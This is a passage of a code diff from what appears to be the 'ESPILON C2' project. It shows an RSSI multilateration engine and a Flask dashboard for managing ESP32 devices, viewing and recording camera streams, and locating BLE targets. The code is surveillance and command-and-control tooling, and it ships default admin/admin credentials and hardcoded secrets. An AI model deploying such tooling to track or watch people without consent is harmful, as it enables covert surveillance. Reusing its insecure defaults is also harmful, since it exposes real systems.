timestamp: Reading timestamp (defaults to current time)
"""
if timestamp is None:
timestamp = time.time()
if scanner_id not in self.scanners:
self.scanners[scanner_id] = {
"position": {"lat": lat, "lon": lon},
"rssi_history": [],
"last_seen": timestamp
}
scanner = self.scanners[scanner_id]
scanner["position"] = {"lat": lat, "lon": lon}
scanner["rssi_history"].append(rssi)
scanner["last_seen"] = timestamp
# Keep only recent readings for smoothing
if len(scanner["rssi_history"]) > self.smoothing_window:
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
self._coord_mode = 'gps'
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
"""
Add a new RSSI reading from a scanner with local coordinates.
Args:
scanner_id: Unique identifier for the scanner
x: X coordinate of the scanner (meters)
y: Y coordinate of the scanner (meters)
rssi: RSSI value (negative dBm)
timestamp: Reading timestamp (defaults to current time)
"""
if timestamp is None:
timestamp = time.time()
if scanner_id not in self.scanners:
self.scanners[scanner_id] = {
"position": {"x": x, "y": y},
"rssi_history": [],
"last_seen": timestamp
}
scanner = self.scanners[scanner_id]
scanner["position"] = {"x": x, "y": y}
scanner["rssi_history"].append(rssi)
scanner["last_seen"] = timestamp
if len(scanner["rssi_history"]) > self.smoothing_window:
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
self._coord_mode = 'local'
def rssi_to_distance(self, rssi: float) -> float:
"""
Convert RSSI to estimated distance using log-distance path loss model.
d = 10^((RSSI_1m - RSSI) / (10 * n))
Args:
rssi: RSSI value (negative dBm)
Returns:
Estimated distance in meters
"""
return 10 ** ((self.rssi_at_1m - rssi) / (10 * self.path_loss_n))
def calculate_position(self) -> dict:
"""
Calculate target position using multilateration.
Requires at least 3 active scanners with recent readings.
Uses weighted least squares optimization.
Returns:
dict with position, confidence, and scanner info, or error
"""
# Get active scanners (those with readings)
active_scanners = [
(sid, s) for sid, s in self.scanners.items()
if s["rssi_history"]
]
if len(active_scanners) < 3:
return {
"error": f"Need at least 3 active scanners (have {len(active_scanners)})",
"scanners_count": len(active_scanners)
}
# Determine coordinate mode from first scanner
first_pos = active_scanners[0][1]["position"]
is_gps = "lat" in first_pos
# Prepare data arrays
positions = []
distances = []
weights = []
# Reference point for GPS conversion (centroid)
if is_gps:
ref_lat = sum(s["position"]["lat"] for _, s in active_scanners) / len(active_scanners)
ref_lon = sum(s["position"]["lon"] for _, s in active_scanners) / len(active_scanners)
for scanner_id, scanner in active_scanners:
pos = scanner["position"]
if is_gps:
# Convert GPS to local meters relative to reference
x = self.haversine_distance(ref_lat, ref_lon, ref_lat, pos["lon"])
if pos["lon"] < ref_lon:
x = -x
y = self.haversine_distance(ref_lat, ref_lon, pos["lat"], ref_lon)
if pos["lat"] < ref_lat:
y = -y
else:
x, y = pos["x"], pos["y"]
# Average RSSI for noise reduction
avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"])
distance = self.rssi_to_distance(avg_rssi)
positions.append([x, y])
distances.append(distance)
# Weight by signal strength (stronger signal = more reliable)
weights.append(1.0 / (abs(avg_rssi) ** 2))
positions = np.array(positions)
distances = np.array(distances)
weights = np.array(weights)
weights = weights / weights.sum()
# Cost function
def cost_function(point):
x, y = point
estimated_distances = np.sqrt((positions[:, 0] - x)**2 + (positions[:, 1] - y)**2)
errors = (estimated_distances - distances) ** 2
return np.sum(weights * errors)
# Initial guess: weighted centroid
x0 = np.sum(weights * positions[:, 0])
y0 = np.sum(weights * positions[:, 1])
# Optimize
result = minimize(cost_function, [x0, y0], method='L-BFGS-B')
if result.success:
target_x, target_y = result.x
confidence = 1.0 / (1.0 + result.fun)
if is_gps:
# Convert back to GPS
delta_lat, delta_lon = self.meters_to_degrees(1, ref_lat)
target_lat = ref_lat + target_y * delta_lat
target_lon = ref_lon + target_x * delta_lon
self._last_target = {
"lat": round(float(target_lat), 6),
"lon": round(float(target_lon), 6)
}
else:
self._last_target = {
"x": round(float(target_x), 2),
"y": round(float(target_y), 2)
}
self._last_calculation = time.time()
return {
"position": self._last_target,
"confidence": round(float(confidence), 3),
"scanners_used": len(active_scanners),
"calculated_at": self._last_calculation
}
else:
return {
"error": "Optimization failed",
"details": result.message
}
def get_state(self) -> dict:
"""
Get the current state of the MLAT system.
Returns:
dict with scanner info and last target position
"""
now = time.time()
scanners_data = []
for scanner_id, scanner in self.scanners.items():
avg_rssi = None
distance = None
if scanner["rssi_history"]:
avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"])
distance = round(self.rssi_to_distance(avg_rssi), 2)
avg_rssi = round(avg_rssi, 1)
scanners_data.append({
"id": scanner_id,
"position": scanner["position"],
"last_rssi": avg_rssi,
"estimated_distance": distance,
"last_seen": scanner["last_seen"],
"age_seconds": round(now - scanner["last_seen"], 1)
})
result = {
"scanners": scanners_data,
"scanners_count": len(scanners_data),
"target": None,
"config": {
"rssi_at_1m": self.rssi_at_1m,
"path_loss_n": self.path_loss_n,
"smoothing_window": self.smoothing_window
},
"coord_mode": self._coord_mode
}
# Add target if available
if self._last_target and (now - self._last_calculation) < 60:
result["target"] = {
"position": self._last_target,
"calculated_at": self._last_calculation,
"age_seconds": round(now - self._last_calculation, 1)
}
return result
def update_config(self, rssi_at_1m: float = None, path_loss_n: float = None, smoothing_window: int = None):
"""
Update MLAT configuration parameters.
Args:
rssi_at_1m: New RSSI at 1m value
path_loss_n: New path loss exponent
smoothing_window: New smoothing window size
"""
if rssi_at_1m is not None:
self.rssi_at_1m = rssi_at_1m
if path_loss_n is not None:
self.path_loss_n = path_loss_n
if smoothing_window is not None:
self.smoothing_window = max(1, smoothing_window)
def clear(self):
"""Clear all scanner data and reset state."""
self.scanners.clear()
self._last_target = None
self._last_calculation = 0

387
tools/c2/web/server.py Normal file
View File

@ -0,0 +1,387 @@
"""Unified Flask web server for ESPILON C2 dashboard."""
import os
import logging
import threading
import time
from functools import wraps
from typing import Optional
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
from werkzeug.serving import make_server
from .mlat import MlatEngine
# Disable Flask/Werkzeug request logging
logging.getLogger('werkzeug').setLevel(logging.ERROR)
class UnifiedWebServer:
"""
Unified Flask-based web server for ESPILON C2.
Provides:
- Dashboard: View connected ESP32 devices
- Cameras: View live camera streams with recording
- Trilateration: Visualize BLE device positioning
"""
def __init__(self,
host: str = "0.0.0.0",
port: int = 8000,
image_dir: str = "static/streams",
username: str = "admin",
password: str = "admin",
secret_key: str = "change_this_for_prod",
multilat_token: str = "multilat_secret_token",
device_registry=None,
mlat_engine: Optional[MlatEngine] = None,
camera_receiver=None):
"""
Initialize the unified web server.
Args:
host: Host to bind the server
port: Port for the web server
image_dir: Directory containing camera frame images
username: Login username
password: Login password
secret_key: Flask session secret key
multilat_token: Bearer token for MLAT API
device_registry: DeviceRegistry instance for device listing
mlat_engine: MlatEngine instance (created if None)
camera_receiver: UDPReceiver instance for camera control
"""
self.host = host
self.port = port
self.image_dir = image_dir
self.username = username
self.password = password
self.secret_key = secret_key
self.multilat_token = multilat_token
self.device_registry = device_registry
self.mlat = mlat_engine or MlatEngine()
self.camera_receiver = camera_receiver
# Ensure image directory exists
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
full_image_dir = os.path.join(c2_root, self.image_dir)
os.makedirs(full_image_dir, exist_ok=True)
self._app = self._create_app()
self._server = None
self._thread = None
def set_camera_receiver(self, receiver):
"""Set the camera receiver after initialization."""
self.camera_receiver = receiver
@property
def is_running(self) -> bool:
return self._thread is not None and self._thread.is_alive()
def _create_app(self) -> Flask:
"""Create and configure the Flask application."""
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
template_dir = os.path.join(c2_root, "templates")
static_dir = os.path.join(c2_root, "static")
app = Flask(__name__,
template_folder=template_dir,
static_folder=static_dir)
app.secret_key = self.secret_key
web_server = self
# ========== Auth Decorators ==========
def require_login(f):
@wraps(f)
def decorated(*args, **kwargs):
if not session.get("logged_in"):
return redirect(url_for("login"))
return f(*args, **kwargs)
return decorated
def require_api_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
if session.get("logged_in"):
return f(*args, **kwargs)
auth_header = request.headers.get("Authorization", "")
if auth_header.startswith("Bearer "):
token = auth_header[7:]
if token == web_server.multilat_token:
return f(*args, **kwargs)
return jsonify({"error": "Unauthorized"}), 401
return decorated
# ========== Auth Routes ==========
@app.route("/login", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username == web_server.username and password == web_server.password:
session["logged_in"] = True
return redirect(url_for("dashboard"))
else:
error = "Invalid credentials."
return render_template("login.html", error=error)
@app.route("/logout")
def logout():
session.pop("logged_in", None)
return redirect(url_for("login"))
# ========== Page Routes ==========
@app.route("/")
@require_login
def index():
return redirect(url_for("dashboard"))
@app.route("/dashboard")
@require_login
def dashboard():
return render_template("dashboard.html", active_page="dashboard")
@app.route("/cameras")
@require_login
def cameras():
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
image_files = sorted([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
image_files = []
return render_template("cameras.html", active_page="cameras", image_files=image_files)
@app.route("/mlat")
@require_login
def mlat():
return render_template("mlat.html", active_page="mlat")
# ========== Static Files ==========
@app.route("/streams/<filename>")
@require_login
def stream_image(filename):
full_image_dir = os.path.join(c2_root, web_server.image_dir)
return send_from_directory(full_image_dir, filename)
@app.route("/recordings/<filename>")
@require_login
def download_recording(filename):
recordings_dir = os.path.join(c2_root, "static", "recordings")
return send_from_directory(recordings_dir, filename, as_attachment=True)
# ========== Device API ==========
@app.route("/api/devices")
@require_api_auth
def api_devices():
if web_server.device_registry is None:
return jsonify({"error": "Device registry not available", "devices": []})
now = time.time()
devices = []
for d in web_server.device_registry.all():
devices.append({
"id": d.id,
"ip": d.address[0] if d.address else "unknown",
"port": d.address[1] if d.address else 0,
"status": d.status,
"connected_at": d.connected_at,
"last_seen": d.last_seen,
"connected_for_seconds": round(now - d.connected_at, 1),
"last_seen_ago_seconds": round(now - d.last_seen, 1)
})
return jsonify({
"devices": devices,
"count": len(devices)
})
# ========== Camera API ==========
@app.route("/api/cameras")
@require_api_auth
def api_cameras():
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
cameras = [
f.replace(".jpg", "")
for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
]
except FileNotFoundError:
cameras = []
# Add recording status if receiver available
result = {"cameras": [], "count": len(cameras)}
for cam_id in cameras:
cam_info = {"id": cam_id, "recording": False}
if web_server.camera_receiver:
status = web_server.camera_receiver.get_recording_status(cam_id)
cam_info["recording"] = status.get("recording", False)
cam_info["filename"] = status.get("filename")
result["cameras"].append(cam_info)
result["count"] = len(result["cameras"])
return jsonify(result)
# ========== Recording API ==========
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
@require_api_auth
def api_recording_start(camera_id):
if not web_server.camera_receiver:
return jsonify({"error": "Camera receiver not available"}), 503
result = web_server.camera_receiver.start_recording(camera_id)
if "error" in result:
return jsonify(result), 400
return jsonify(result)
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
@require_api_auth
def api_recording_stop(camera_id):
if not web_server.camera_receiver:
return jsonify({"error": "Camera receiver not available"}), 503
result = web_server.camera_receiver.stop_recording(camera_id)
if "error" in result:
return jsonify(result), 400
return jsonify(result)
@app.route("/api/recording/status")
@require_api_auth
def api_recording_status():
if not web_server.camera_receiver:
return jsonify({"error": "Camera receiver not available"}), 503
camera_id = request.args.get("camera_id")
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
@app.route("/api/recordings")
@require_api_auth
def api_recordings_list():
if not web_server.camera_receiver:
return jsonify({"recordings": []})
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
# ========== Trilateration API ==========
@app.route("/api/mlat/collect", methods=["POST"])
@require_api_auth
def api_mlat_collect():
raw_data = request.get_data(as_text=True)
count = web_server.mlat.parse_data(raw_data)
if count > 0:
web_server.mlat.calculate_position()
return jsonify({
"status": "ok",
"readings_processed": count
})
@app.route("/api/mlat/state")
@require_api_auth
def api_mlat_state():
state = web_server.mlat.get_state()
if state["target"] is None and state["scanners_count"] >= 3:
result = web_server.mlat.calculate_position()
if "position" in result:
state["target"] = {
"position": result["position"],
"confidence": result.get("confidence", 0),
"calculated_at": result.get("calculated_at", time.time()),
"age_seconds": 0
}
return jsonify(state)
@app.route("/api/mlat/config", methods=["GET", "POST"])
@require_api_auth
def api_mlat_config():
if request.method == "POST":
data = request.get_json() or {}
web_server.mlat.update_config(
rssi_at_1m=data.get("rssi_at_1m"),
path_loss_n=data.get("path_loss_n"),
smoothing_window=data.get("smoothing_window")
)
return jsonify({
"rssi_at_1m": web_server.mlat.rssi_at_1m,
"path_loss_n": web_server.mlat.path_loss_n,
"smoothing_window": web_server.mlat.smoothing_window
})
@app.route("/api/mlat/clear", methods=["POST"])
@require_api_auth
def api_mlat_clear():
web_server.mlat.clear()
return jsonify({"status": "ok"})
# ========== Stats API ==========
@app.route("/api/stats")
@require_api_auth
def api_stats():
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
camera_count = len([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
camera_count = 0
device_count = 0
if web_server.device_registry:
device_count = len(list(web_server.device_registry.all()))
multilat_state = web_server.mlat.get_state()
return jsonify({
"active_cameras": camera_count,
"connected_devices": device_count,
"multilateration_scanners": multilat_state["scanners_count"],
"server_running": True
})
return app
def start(self) -> bool:
"""Start the web server in a background thread."""
if self.is_running:
return False
self._server = make_server(self.host, self.port, self._app, threaded=True)
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
self._thread.start()
return True
def stop(self):
"""Stop the web server."""
if self._server:
self._server.shutdown()
self._server = None
self._thread = None
def get_url(self) -> str:
"""Get the server URL."""
return f"http://{self.host}:{self.port}"